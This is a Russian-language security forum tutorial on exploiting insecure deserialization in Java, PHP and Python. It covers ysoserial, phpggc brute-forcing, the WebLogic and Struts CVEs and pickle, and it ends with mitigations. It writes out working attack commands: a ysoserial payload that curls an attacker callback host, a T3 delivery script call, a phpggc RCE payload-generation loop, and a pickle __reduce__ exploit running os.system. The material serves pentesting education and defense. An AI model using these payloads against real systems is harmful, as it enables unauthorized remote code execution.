PDA

Просмотр полной версии : Уязвимости десериализации: эксплуатация через ysoserial, phpggc и построение gadget chain


Sergei webware
22.04.2026, 16:02
https://forum.antichat.xyz/attachments/4951699/img_213381cd71.png

Когда я впервые столкнулся с десериализацией на пентесте, это выглядело как магия: непонятный blob в cookie, утилита ysoserial, и через полминуты - reverse shell на WebLogic. Потом я потратил три вечера, чтобы понять, почему это сработало и как подобрать правильную gadget chain для нестандартного стека. Три вечера - потому что документация по gadget chain разбросана по десяткам issue на GitHub, а половина примеров устарела. Эта статья - результат того пути: от обнаружения сериализованных объектов в трафике до эксплуатации десериализации в Java, PHP и Python с разбором конкретных CVE.

OWASP включал небезопасную десериализацию веб-приложений в Top 10 как отдельную категорию (A8:2017), а в редакции 2021 года объединил её с «Software and Data Integrity Failures» (A8:2021). В черновике OWASP Top 10 2025 CWE-502 по-прежнему входит в категорию A08. Но то, что категорию «укрупнили», не значит, что проблема стала менее опасной - уязвимости десериализации стабильно приводят к Remote Code Execution на корпоративных Java-серверах, PHP-фреймворках и Python-сервисах. По MITRE ATT&CK эксплуатация десериализации - это Exploit Public-Facing Application (T1190, Initial Access), а результат - Command and Scripting Interpreter (T1059, Execution). Ниже - практическое руководство: от идентификации формата до доставки payload - полный цикл от анализа CVE до рабочего шелла разобран в гайде по разработке эксплойтов (https://forum.antichat.xyz/threads/592843/).
Как распознать сериализованные данные в трафике
Прежде чем искать десериализацию RCE уязвимость (https://forum.antichat.xyz/threads/592698/), нужно найти точку входа. Сериализованные объекты передаются в cookie, POST-параметрах, заголовках и WebSocket-фреймах (https://forum.antichat.xyz/threads/592133/). Каждый язык оставляет характерный «отпечаток» - и если научиться его читать, полдела сделано.
Сигнатуры Java, PHP и Python в HTTP-запросах
Java. Сериализованные Java-объекты всегда начинаются с байтов

ac ed 00 05

(hex) или

rO0AB

в Base64. Любой класс, реализующий

java.io.Serializable

, может быть сериализован и передан по сети (это из документации PortSwigger, но на практике - именно так). Ищите заголовок

Content-Type: application/x-java-serialized-object

и параметры с Base64, начинающимся на

rO0AB

. Burp Suite Professional автоматически помечает такие объекты, а расширение Java Deserialization Scanner позволяет тестировать endpoint прямо из Burp.

PHP. Формат сериализации PHP текстовый - читается глазами. Строка начинается с маркеров типов:

O:

(объект),

a:

(массив),

s:

(строка),

i:

(integer),

b:

(boolean). Реальный пример из аудита, описанного исследователями Vaadata: параметр

datas

содержал Base64-закодированную строку

a:2:{s:4:"call";s:11:"trackOption";s:6:"status";b:0;}

- ассоциативный массив с двумя ключами. Видите такой формат в запросе? На серверной стороне почти наверняка вызывается

unserialize()

, и перед вами потенциальная объектная инъекция.

Python. Модуль

pickle

генерирует бинарный поток с характерными опкодами. Протокол версии 2+ начинается с байта

\x80

и номера версии (

\x02



\x05

). В текстовом представлении видны маркеры

cbuiltins

,

cbuiltin

,

cos

- ссылки на Python-модули, которые вызываются при десериализации. Отдельный вектор - PyYAML с конструкцией

!!python/object/apply:

, позволяющей инстанцировать произвольные объекты при

yaml.load()

без параметра

Loader=SafeLoader

.

Мой рабочий процесс простой: перехват трафика в Burp, Base64-декод параметров, проверка первых байтов.

ac ed

- Java,

O:

или

a:

- PHP,

\x80\x0X

- pickle. Определил формат - знаю, какой инструмент запускать: ysoserial, phpggc или ручной Python-скрипт.

https://forum.antichat.xyz/attachments/4951699/1776808149835.png

Эксплуатация десериализации Java через ysoserial
Java - исторически главная площадка для десериализационных атак. Корпоративные стеки на WebLogic, JBoss, Spring Framework и Apache Struts годами содержали gadget chain, превращающие вызов

ObjectInputStream.readObject()

в точку входа для удалённого выполнения кода. Инструмент ysoserial, созданный Крисом Фрохоффом и представленный на AppSecCali 2015 в докладе «Marshalling Pickles», стал стандартом де-факто. Я лично не встречал ни одного Java-пентеста, где бы ysoserial не пригодился - хотя бы для проверки.

Требования к окружению: Java 1.7+ для запуска ysoserial, JAR-файл из GitHub releases (

frohoff/ysoserial

), сетевой доступ до целевого endpoint. Для локальной отладки gadget chain - Docker-образ уязвимого приложения (например, Vulhub-контейнер WebLogic). Для out-of-band детекции - Burp Collaborator или собственный DNS-сервер.

Принцип работы: указываете тип gadget chain и команду ОС, ysoserial генерирует сериализованный Java-объект на stdout. Когда приложение с нужными библиотеками в classpath десериализует данные, цепочка срабатывает и выполняет команду. Часто упускаемый момент (я сам сначала на него не обратил внимания): уязвимость не в библиотеке, а в приложении, которое передаёт недоверенные данные в
readObject()
. Apache Commons Collections в classpath - само по себе не дыра. Дыра - когда пользовательский ввод попадает в

readObject()

.

https://forum.antichat.xyz/attachments/4951699/1776808206538.png

Подбор ysoserial gadget chain и CVE десериализации Java
Ysoserial содержит более 30 gadget chain: CommonsCollections1–7, Spring1–2, Groovy1, Hibernate1–2, JSON1, Jdk7u21, ROME и другие. Не все ведут к RCE напрямую - некоторые пишут файлы или делают JNDI-lookup. Каждый требует конкретных библиотек конкретных версий.

CommonsCollections1

работает с

commons-collections:3.1

, а

CommonsCollections2

- с

commons-collections4:4.0

. Полный список зависимостей - в README репозитория.

Если classpath цели неизвестен (black-box), работает перебор: генерация payload для каждого chain с OOB-callback (DNS-запрос на Burp Collaborator) и анализ, какой вызвал обращение. Ещё есть GadgetProbe (расширение Burp Suite из BApp Store) - он определяет загруженные на сервере классы через DNS-взаимодействие при десериализации. Сужает перебор с десятков chain до единиц - экономит кучу времени.

Bash:



# Генерация payload для WebLogic (CommonsCollections1)
java -jar ysoserial.jar CommonsCollections1
\
'curl http://attacker.burpcollaborator.net/rce'
>
payload.bin
# Проверка сигнатуры - должны увидеть ac ed 00 05
xxd payload.bin
|
head
-1
# 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c
# Доставка: через T3, HTTP-параметр или RMI
python3 t3_send.py --host target:7001 --payload payload.bin


CVE-2015-4852: Oracle WebLogic Server - каноническая уязвимость эксплуатации десериализации Java. По NVD, компонент WLS Security в WebLogic Server версий 10.3.6.0, 12.1.2.0, 12.1.3.0 и 12.2.1.0 позволял удалённым атакующим выполнять произвольные команды через сериализованный Java-объект по протоколу T3 на TCP-порт 7001 (CVSS 9.8, CRITICAL; CWE-502). Вектор

AV:N/AC:L/PR:N/UI:N

- ни привилегий, ни взаимодействия с пользователем не нужно. Gadget chain из

com.bea.core.apache.commons.collections.jar

, входящей в WebLogic, давал выполнение произвольной команды ОС. Эту дыру эксплуатировали в дикой природе ещё годы после раскрытия - патчили её далеко не все.

https://forum.antichat.xyz/attachments/4951699/1776808271336.png

CVE-2017-9805: Apache Struts REST (https://forum.antichat.xyz/threads/582713/) без фильтрации типов
REST Plugin в Apache Struts 2.1.1–2.3.x (до 2.3.34) и 2.5.x (до 2.5.13) использовал

XStreamHandler

с экземпляром XStream для десериализации XML-payload без какой-либо фильтрации типов (CVSS 8.1, HIGH; CWE-502).

AC:H

в векторе - высокая сложность: нужно было собрать XML с правильной gadget chain для XStream. По данным NVD, уязвимость затрагивала и продукты Cisco: Digital Media Manager и Hosted Collaboration Solution. Атакующий слал crafted XML в REST endpoint, XStream восстанавливал объект, цепочка вызовов приводила к remote code execution.

Оба CVE - классика T1190 (Exploit Public-Facing Application): атакующий обращается к торчащему в интернет endpoint, отправляет сериализованный payload, получает выполнение кода, а дальше - Web Shell (T1505.003, Persistence) или Reflective Code Loading (T1620, Defense Evasion) для загрузки вредоносных модулей в память.
PHP десериализация: phpggc и black-box перебор цепочек
PHP-приложения на Laravel, Symfony, Magento и Drupal регулярно содержат гаджеты для эксплуатации. Если в Java-мире всё крутится вокруг бинарного

ObjectInputStream

, то в PHP атака начинается с вызова

unserialize()

на пользовательских данных - классическая PHP object injection.

Инструмент phpggc (PHP Generic Gadget Chains) - PHP-аналог ysoserial. Содержит готовые gadget chain для десятков фреймворков и библиотек.

phpggc -l

выводит полный список цепочек,

phpggc -l | grep RCE

фильтрует только те, что ведут к удалённому выполнению кода.
Brute-force цепочек при black-box phpggc эксплуатации
В идеале у пентестера есть доступ к исходному коду, чтобы определить доступные классы. На bug bounty или при black-box аудите кода нет. Исследователи Vaadata описали методику, которую я неоднократно применял: генерация payload для всех RCE-совместимых chain из phpggc и перебор через Burp Intruder.

Bash:



#!/bin/bash
# Массовая генерация RCE-payload для brute-force
cmd
=
"nslookup target.your-collaborator.net"
phpggc -l
|
grep
RCE
|
cut
-d
' '
-f1
|
while
read
gadget
;
do
phpggc -a -b -u -f
"$gadget"
system
"$cmd"
2>
/dev/null
done
>
payloads.txt
# Загрузить payloads.txt в Burp Intruder, позиция = параметр datas
# Ответ, отличный от остальных + DNS-callback = рабочая chain


Флаги phpggc:

-a

- ASCII-safe encoding (экранирование нулевых байтов для обхода проблем парсинга PHP),

-b

- Base64,

-u

- URL-encode,

-f

- fast-destruct. Последний флаг критичен: он генерирует payload, в котором

destruct()

срабатывает немедленно после

unserialize()

, без полного обхода графа свойств. Многие цепочки работают именно через

destruct()

, а не через

__wakeup()

. Без

-f

payload может не сработать, хотя библиотека на сервере есть - я на это натыкался не раз.

В кейсе Vaadata из нескольких сотен сгенерированных payload сработал

Monolog/RCE8

, подтвердив наличие библиотеки Monolog на целевом сервере. После идентификации рабочей цепочки следующий payload уже содержал

system('whoami /all')

вместо DNS-запроса, и ответ сервера вернул информацию о пользователе IIS - полноценная десериализация PHP уязвимость с подтверждённым RCE.
Магические методы и объектная инъекция в PHP
Эксплуатация insecure deserialization в PHP базируется на магических методах. При вызове

unserialize()

PHP автоматически выполняет

wakeup()

на восстановленном объекте. При уничтожении -

destruct()

. При приведении к строке -

__toString()

. Эти методы - точки входа в gadget chain.

Цепочка строится по принципу POP (Property-Oriented Programming): объект A в

__destruct()

обращается к свойству, которое на самом деле - объект B. Объект B при вызванном методе дёргает объект C - и так до момента, когда финальный гаджет выполняет

system()

,

exec()

,

file_put_contents()

или

eval()

. По сути - матрёшка из объектов, где каждый слой вызывает следующий.

Если phpggc не содержит chain для целевого фреймворка, цепочку строят руками. Нужен доступ к коду (например, после эксплуатации отдельной уязвимости чтения файлов). Поиск входных точек:

grep -rn 'destruct\|wakeup\|__toString' vendor/

, затем трассировка от магического метода до опасного sink. Phpggc сам построен по этому принципу - каждая цепочка в нём обнаружена в исходном коде конкретного фреймворка.
Десериализация Python pickle exploit: RCE без gadget chain
Python-десериализация через

pickle

- отдельная история. Здесь gadget chain не нужен вообще. Модуль pickle позволяет определить метод

reduce()

на объекте - он возвращает вызываемую функцию и её аргументы. При

pickle.loads()

эта функция вызывается автоматически. Никаких дополнительных условий, никакого подбора библиотек.

Python:



import
pickle
,
os
class
Exploit
:
def
__reduce__
(
self
)
:
return
(
os
.
system
,
(
'id'
,
)
)
payload
=
pickle
.
dumps
(
Exploit
(
)
)
# pickle сериализует os.system как posix.system (Linux) или nt.system (Windows)
# При pickle.loads(payload) на сервере выполняется os.system('id')


Это делает десериализацию Python pickle exploit одной из самых тривиальных для эксплуатации уязвимостей. В отличие от Java, где нужно подбирать chain под classpath, pickle-атака работает на любом Python-приложении, вызывающем

pickle.loads()

на недоверенных данных. По MITRE ATT&CK - техника Python (T1059.006, Execution).

Где искать pickle:

ML/AI-сервисы: модели передаются в формате

.pkl

. Загрузка вредоносного pickle-файла через API - классический вектор. MLflow (CVE-2024-37052 и связанные, CVSS 8.8) подвержен атакам через загрузку вредоносных моделей.

Очереди задач: Celery при использовании pickle-сериализатора принимает произвольные объекты из брокера сообщений.

Кеширование: Redis и Memcached, хранящие pickle-объекты, становятся вектором при инъекции в кеш.

Веб-фреймворки: Django при использовании

PickleSerializer

для сессий десериализует данные из cookie.
У меня pickle-десериализация чаще всего встречалась в ML-пайплайнах. Разработчики привыкли кидать

.pkl

между сервисами и даже не задумываются, что это фактически

eval()

в красивой обёртке.
Детект и митигация
Для Java: замена

ObjectInputStream

на фильтрующие обёртки (JEP 290, доступен с Java 9), библиотеки NotSoSerial или SerialKiller, удаление неиспользуемых gadget-библиотек из classpath. Для PHP: замена

unserialize()

на

json_decode()

, а если невозможно - параметр

allowed_classes

в

unserialize()

(PHP 7.0+). Для Python: полный отказ от

pickle.loads()

на недоверенных данных, переход на

json

,

msgpack

или

safetensors

для ML-моделей. На уровне инфраструктуры: WAF-правила для сигнатур

ac ed 00 05

и

rO0AB

, мониторинг DNS-запросов к внешним доменам (OOB-индикатор), сегментация сети для ограничения последствий RCE.

Попробуйте прогнать свои сервисы через описанные сигнатуры - перехватите трафик в Burp, поищите

rO0AB

в параметрах и cookie. Если нашли - у вас та же проблема, что была у WebLogic в 2015-м. Только сейчас 2025-й, и оправданий уже нет.
Вопрос к читателям
Кто работал с black-box phpggc-перебором на Laravel или Symfony - как вы обходите ситуацию, когда флаг

-f

(fast-destruct) не помогает и

Monolog/RCE8

молчит, хотя Monolog точно в стеке? Конкретно: какую комбинацию флагов вы используете -

-a -b -u -f

или убираете

-f

и гоняете через

__wakeup()

-вектор отдельным прогоном? И второй момент: при доставке payload через Burp Intruder на параметр типа

datas

- какой Payload Processing-шаг ставите первым, Base64 или URL-encode, чтобы нулевые байты не резались WAF? Поделитесь вашим конкретным порядком флагов и настройкой Intruder - особенно если сталкивались с Nginx + ModSecurity перед PHP-бэкендом.